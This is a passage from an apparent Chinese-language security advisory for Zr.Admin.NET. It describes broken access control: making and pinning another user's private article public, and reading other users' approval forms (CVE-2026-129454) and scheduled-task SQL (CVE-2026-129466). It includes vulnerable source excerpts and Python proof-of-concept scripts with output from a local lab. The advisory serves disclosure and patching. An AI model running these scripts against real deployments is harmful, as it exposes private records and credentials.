low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiZDZkNGNmYTVhYzI3NGZjMmFhNDM3NTJlMWUzYmQwYzNcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0MzMyLCJleHAiOjE3OTQ2NjA3MzIsImlhdCI6MTc5NDU3NDMzMiwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.jVLpmqhY2IjEhhstzG8pXD6s4qnxnhiCKXt1T0IaFTs
admin POST /front/article/publish -> cid=1, isPublic=0, userId=1

匿名读取该文章,返回访问失败:

r = requests.get(f"{B}/front/article/1")
print(r.status_code, r.text)
200 {
  "code": 110,
  "msg": "访问失败"
}

low1 把自己的 userId 填进请求体,把这篇私密文章改成公开:

low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
r = requests.put(f"{B}/front/article/changePublic", headers=low,
                 json={"cid": 1, "userId": 2, "isPublic": 1})
print("changePublic ->", r.status_code, r.text.strip())
changePublic -> 200 {
  "code": 200,
  "msg": "success",
  "data": 1
}

再次匿名读取,正文返回:

r = requests.get(f"{B}/front/article/1")
print(r.status_code, r.text)
200 {
  "code": 200,
  "msg": "success",
  "data": {
    "cid": 1,
    "title": "Q3 payroll review",
    "content": "<p>CFO salary 480000, bank account 6222 0000 1111 2222</p>",
    "userId": 1,
    "status": null,
    "editorType": null,
    "tags": null,
    "hits": 0,
    "categoryId": 0,
    "createTime": "2026-11-13 20:52:12",
    "updateTime": null,
    "authorName": "admin",
    "coverUrl": null,
    "categoryNav": null,
    "tagList": [],
    "isPublic": 1,
    "abstractText": "CFO salary 480000, bank account 6222 0000 1111 2222",
    "isTop": 0,
    "articleType": 0,
    "praiseNum": 0,
    "commentNum": 0,
    "shareNum": 0,
    "coverImgList": [],
    "position": "Reserved",
    "isPraise": 0,
    "topicId": 0,
    "topicName": null,
    "user": {
      "avatar": null,
      "nickName": "管理员",
      "sex": 0
    },
    "auditStatus": 1,
    "commentSwitch": 0
  }
}

low1 随后把这篇属于管理员的文章置顶:

r = requests.put(f"{B}/front/article/top", headers=low, json={"cid": 1, "isTop": 1})
print("top ->", r.status_code, r.text.strip())
top -> 200 {
  "code": 200,
  "msg": "success",
  "data": 1
}

4. 越权读取其他人的审批单 (CVE-2026-129454)

简要描述:拥有账号的用户可以越权读取其他人的审批单,包括表单内容与审批记录。
影响版本:85cff6ae(2026-08-01)至 eb9228a2(2026-10-22)
漏洞引入:Zr.Admin.NET commit 85cff6ae
前置条件:目标实例中存在其他人发起的审批单。

漏洞成因

WfFlowInstanceController.GetInfo 只标了 common:

// ZR.Workflow/Controllers/WfFlowInstanceController.cs:48-58    commit eb9228a230
/// <summary>
/// 实例详情
/// </summary>
[HttpGet("{instanceId}")]
[ActionPermissionFilter(Permission = "common")]
public IActionResult GetInfo(long instanceId)
{
    // viewerId=当前登录用户,用于详情页按节点字段权限过滤表单(申请人/历史实例全放开)
    var viewerId = HttpContext.GetUId();
    return SUCCESS(_service.GetInfo(instanceId, viewerId));
}

Service 按 InstanceId 取出实例,viewerId 只用于字段遮罩,不参与能否查看的判断:

// ZR.Workflow/Service/WfFlowInstanceService.cs:173-176    commit eb9228a230
public WfFlowInstanceDto GetInfo(long instanceId, long? viewerId = null)
{
    var inst = Queryable().First(i => i.InstanceId == instanceId);
    if (inst == null) return null;

ApplyFieldPermission 只决定字段是否只读或隐藏,不判断查看者是否有权打开该实例。实例不处于审批中时放开全部字段;处于审批中且当前节点未配置字段权限时,同样把 AllEditable 置为 true(WfFlowInstanceService.cs:488-493、:531-537)。该方法的部分实现如下:

// ZR.Workflow/Service/WfFlowInstanceService.cs:475-493    commit eb9228a230
private void ApplyFieldPermission(WfFlowInstanceDto dto, WfFlowInstance inst, long? viewerId)
{
    if (inst == null || dto == null) return;
    var view = new WfFieldPermissionView();

    // 申请人本人 → 可编辑全部字段
    if (viewerId.HasValue && inst.ApplyUserId.HasValue && inst.ApplyUserId.Value == viewerId.Value)
    {
        view.AllEditable = true;
        dto.FieldPermissionView = view;
        return;
    }

    // 非审批中实例 / 未传入查看者 → 历史直接放开(全可见只读)
    if (!viewerId.HasValue || inst.Status != (int)WfInstanceStatus.Approval)
    {
        dto.FieldPermissionView = view;
        return;
    }

实例编号为自增主键,可顺序枚举。

复现环境搭建

沿用第 1 节的实验环境。workflow 模块已由 ModuleInit:Workflow 启用,每次复现前执行 docker compose down -v 清空数据卷,再按第 1 节重新初始化。

复现过程

管理员创建流程定义并发起一张审批单:

import json, requests

B = "http://127.0.0.1:1888"
admin = {"Authorization": f"Bearer {login('admin', '123456')}"}
flow = {"flowCode": "expense", "flowName": "Expense approval", "formType": 0, "designType": 2,
        "status": 1, "isDraft": 0,
        "formItems": json.dumps([{"field": "reason", "label": "Reason", "type": "input"},
                                 {"field": "account", "label": "Bank account", "type": "input"}]),
        "nodes": [{"nodeName": "Start", "nodeType": 0, "nodeOrder": 1},
                  {"nodeName": "Approve", "nodeType": 1, "approverType": 0, "approverId": "1",
                   "approverNames": "admin", "signType": 0, "nodeOrder": 2},
                  {"nodeName": "End", "nodeType": 3, "nodeOrder": 3}],
        "nodeLinks": [{"sourceNodeId": 1, "targetNodeId": 2}, {"sourceNodeId": 2, "targetNodeId": 3}]}
r = requests.post(f"{B}/workflow/definition", headers=admin, json=flow)
print("admin POST /workflow/definition ->", r.status_code, r.json()["code"])
flows = requests.get(f"{B}/workflow/definition/list", headers=admin,
                     params={"pageNum": 1, "pageSize": 10}).json()["data"]["result"]
fid = [f["flowId"] for f in flows if f["flowCode"] == "expense"][0]
r = requests.post(f"{B}/workflow/instance/start", headers=admin, json={
    "flowId": fid, "title": "Executive reimbursement",
    "formContent": json.dumps({"reason": "Board trip",
                               "account": "6222 0000 1111 2222, password 9911"})})
print("admin POST /workflow/instance/start -> instanceId =", r.json()["data"])

输出如下:

admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImZmNTU1ZjQyYTQ3ZTQwMzZiMzIxNjBjYjY5OGExMTg2XCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ1NzQzNzMsImV4cCI6MTc5NDY2MDc3MywiaWF0IjoxNzk0NTc0MzczLCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.3DvU0I6XbLCeozY7gSYbPySv65FveQ7UTb5dU609Dnk
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiNTVjNzYwYTBhZDk0NGRlYWE5MzI2ZTFjZDZmZDI5MWRcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0Mzc0LCJleHAiOjE3OTQ2NjA3NzQsImlhdCI6MTc5NDU3NDM3NCwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.aZlZJx-feWQMO4BWEVYDVajPsW1W9gsgifHngyjhuno
admin POST /workflow/definition -> 200 200 success
admin POST /workflow/instance/start -> instanceId = 1

low1 读取该实例:

low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
r = requests.get(f"{B}/workflow/instance/1", headers=low)
print(r.status_code, r.text)
200 {
  "code": 200,
  "msg": "success",
  "data": {
    "instanceId": 1,
    "flowId": 1,
    "flowName": "Expense approval",
    "businessKey": null,
    "title": "Executive reimbursement",
    "applyUser": "admin",
    "applyNickName": "管理员",
    "status": 0,
    "currentNodeId": 2,
    "currentNodeIds": "[2]",
    "currentNodeName": "Approve",
    "approvers": null,
    "formContent": "{\"reason\": \"Board trip\", \"account\": \"6222 0000 1111 2222, password 9911\"}",
    "fieldPermissionView": {
      "allEditable": true,
      "readonlyFields": [],
      "hiddenFields": []
    },
    "attachment": null,
    "attachmentParsed": "[]",
    "lastUrgeTime": null,
    "tasks": [
      {
        "taskId": 1,
        "instanceId": 1,
        "nodeId": 2,
        "nodeName": "Approve",
        "assignee": "admin",
        "assigneeNickName": "管理员",
        "assigneeId": 1,
        "delegateId": null,
        "delegateName": null,
        "status": 0,
        "opinion": null,
        "action": null,
        "taskType": 0,
        "isRead": false,
        "handleTime": null,
        "title": null,
        "applyUser": null,
        "applyNickName": null,
        "flowName": null,
        "instanceStatus": 0,
        "createBy": "admin",
        "createTime": "2026-11-13 12:52:55",
        "updateTime": null,
        "remark": null
      }
    ],
    "records": [
      {
        "recordId": 1,
        "taskId": null,
        "instanceId": 1,
        "nodeId": null,
        "nodeName": null,
        "title": null,
        "flowName": null,
        "applyUser": null,
        "applyNickName": null,
        "instanceStatus": 0,
        "operator": "admin",
        "operatorNickName": "管理员",
        "action": 0,
        "isRead": false,
        "opinion": "发起申请",
        "summary": null,
        "createBy": "admin",
        "createTime": "2026-11-13 12:52:55",
        "updateTime": null,
        "remark": null
      }
    ],
    "createBy": "admin",
    "createTime": "2026-11-13 12:52:55",
    "updateTime": null,
    "remark": null
  }
}

low1 还能读取审批流水列表:

r = requests.get(f"{B}/workflow/record/list", headers=low, params={"pageNum": 1, "pageSize": 5})
print(r.status_code, r.text)
200 {
  "code": 200,
  "msg": "success",
  "data": {
    "pageSize": 5,
    "pageIndex": 1,
    "totalNum": 1,
    "totalPage": 1,
    "result": [
      {
        "recordId": 1,
        "taskId": null,
        "instanceId": 1,
        "nodeId": null,
        "nodeName": null,
        "title": "Executive reimbursement",
        "flowName": "Expense approval",
        "applyUser": "admin",
        "applyNickName": "管理员",
        "instanceStatus": 0,
        "operator": "admin",
        "operatorNickName": "管理员",
        "action": 0,
        "isRead": false,
        "opinion": "发起申请",
        "summary": null,
        "createBy": null,
        "createTime": "2026-11-13 12:52:55",
        "updateTime": null,
        "remark": null
      }
    ],
    "extra": {}
  }
}

5. 越权读取计划任务配置 (CVE-2026-129466)

简要描述:拥有账号的用户可以读取计划任务的完整配置,包括 SQL 任务里存放的语句。
影响版本:1845017b(2021-08-23)至 eb9228a2(2026-10-22)
漏洞引入:Zr.Admin.NET commit 1845017b
前置条件:攻击者拥有一个账号。

漏洞成因

TasksController.Get 没有 [ActionPermissionFilter],登录之后即可调用:

// ZR.Admin.WebApi/Controllers/System/TasksController.cs:147-156    commit eb9228a230
/// <summary>
/// 查询单个计划任务
/// </summary>
/// <param name="id">编码</param>
/// <returns></returns>
[HttpGet("get")]
public IActionResult Get(string id)
{
    if (!string.IsNullOrEmpty(id))
    {
        return SUCCESS(GetTaskById(id));
    }
    return SUCCESS(0);
}

同文件的列表、新增、修改、删除、执行动作都标了 monitor:job:* 权限(TasksController.cs:127、:164、:205、:250、:327),Get 是遗漏。GetTaskById 返回整行 SysTasks,字段包含 AssemblyName、ClassName、Cron、SqlText、JobParams。

复现环境搭建

沿用第 1 节的实验环境。每次复现前执行 docker compose down -v 清空数据卷,再按第 1 节重新初始化。

复现过程

管理员创建一个 SQL 类型的计划任务并运行:

import requests

B = "http://127.0.0.1:1888"
admin = {"Authorization": f"Bearer {login('admin', '123456')}"}
r = requests.post(f"{B}/system/Tasks/create", headers=admin, json={
    "name": "nightly-report", "jobGroup": "default", "cron": "0 0 2 * * ?", "taskType": 3,
    "assemblyName": "ZR.Tasks", "className": "TaskScheduler.Job_SqlExecute",
    "sqlText": "select UserName,Password from sys_user where UserId=1"})
print("admin POST /system/Tasks/create ->", r.status_code, r.text.strip())
tasks = requests.get(f"{B}/system/Tasks/list", headers=admin,
                     params={"pageNum": 1, "pageSize": 20}).json()["data"]["result"]
tid = [t["id"] for t in tasks if t["name"] == "nightly-report"][0]
print("task id =", tid)
r = requests.get(f"{B}/system/Tasks/run", headers=admin, params={"id": tid})
print("admin GET /system/Tasks/run ->", r.status_code, r.text.strip())
admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcIjQ5ZGQ3ODEyYjcyNTQzNmViY2M2NzkzZmU3NTIxYzcyXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ2NDI2NDUsImV4cCI6MTc5NDcyOTA0NSwiaWF0IjoxNzk0NjQyNjQ1LCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.ule4XLd4hhfh5UvH2A6LaHYZieJCAMqp7sfimzREn_c
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiNjQ2ZDJlOThhMGI1NGIyYWE3Y2E1NzMxNzAyZjE2NGZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NjQyNjQ2LCJleHAiOjE3OTQ3MjkwNDYsImlhdCI6MTc5NDY0MjY0NiwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.8yNMns8KT4WIzTzP9BCc-rDwIzonPHUdtuEz7uGwGmY
admin POST /system/Tasks/create -> 200 {
  "code": 200,
  "msg": "success",
  "data": 1
}
task id = 2121511140147204096
admin GET /system/Tasks/run -> 200 {
  "code": 200,
  "msg": "运行计划任务:【nightly-report】成功"
}

low1 可以通过 GET /monitor/jobLog/list 读出任务 id:

time.sleep(3)

low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
r = requests.get(f"{B}/monitor/jobLog/list", headers=low, params={"pageNum": 1, "pageSize": 1})
print(r.status_code, r.text)
low1 GET /monitor/jobLog/list -> 200 {
  "code": 200,
  "msg": "success",
  "data": {
    "pageSize": 1,
    "pageIndex": 1,
    "totalNum": 1,
    "totalPage": 1,
    "result": [
      {
        "jobLogId": 1,
        "jobId": "2121511140147204096",
        "jobName": "nightly-report",
        "jobGroup": "default",
        "status": "0",
        "exception": null,
        "jobMessage": "success",
        "invokeTarget": "SqlExecute",
        "tenantId": "0",
        "createTime": "2026-11-14 15:50:47",
        "elapsed": 11.9025,
        "serverName": null,
        "operator": "admin",
        "traceId": "0HNQ24FTTQPDN:00000001",
        "isManual": 1,
        "triggerSource": "manual"
      }
    ],
    "extra": {}
  }
}

low1 按任务编号读取详情:

low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
r = requests.get(f"{B}/system/Tasks/get", headers=low, params={"id": "2121511140147204096"})
print(r.status_code, r.text)
low1 GET /system/Tasks/get -> 200 {
  "code": 200,
  "msg": "success",
  "data": {
    "id": "2121511140147204096",
    "name": "nightly-report",
    "jobGroup": "default",
    "cron": "0 0 2 * * ?",
    "assemblyName": "ZR.Tasks",
    "className": "TaskScheduler.Job_SqlExecute",
    "runTimes": 1,
    "beginTime": null,
    "endTime": null,
    "triggerType": 0,
    "intervalSecond": 0,
    "isStart": 0,
    "jobParams": null,
    "lastRunTime": "2026-11-14 15:50:47",
    "lastSuccessTime": "2026-11-14 15:50:47",
    "lastFailTime": null,
    "lastRunStatus": "0",
    "lastErrorMsg": null,
    "tenantId": "0",
    "apiUrl": null,
    "taskType": 3,
    "sqlText": "select UserName,Password from sys_user where UserId=1",
    "requestMethod": null,
    "createBy": "admin",
    "createTime": "2026-11-14 07:50:46",
    "updateTime": "2026-11-14 07:50:47",
    "remark": null
  }
}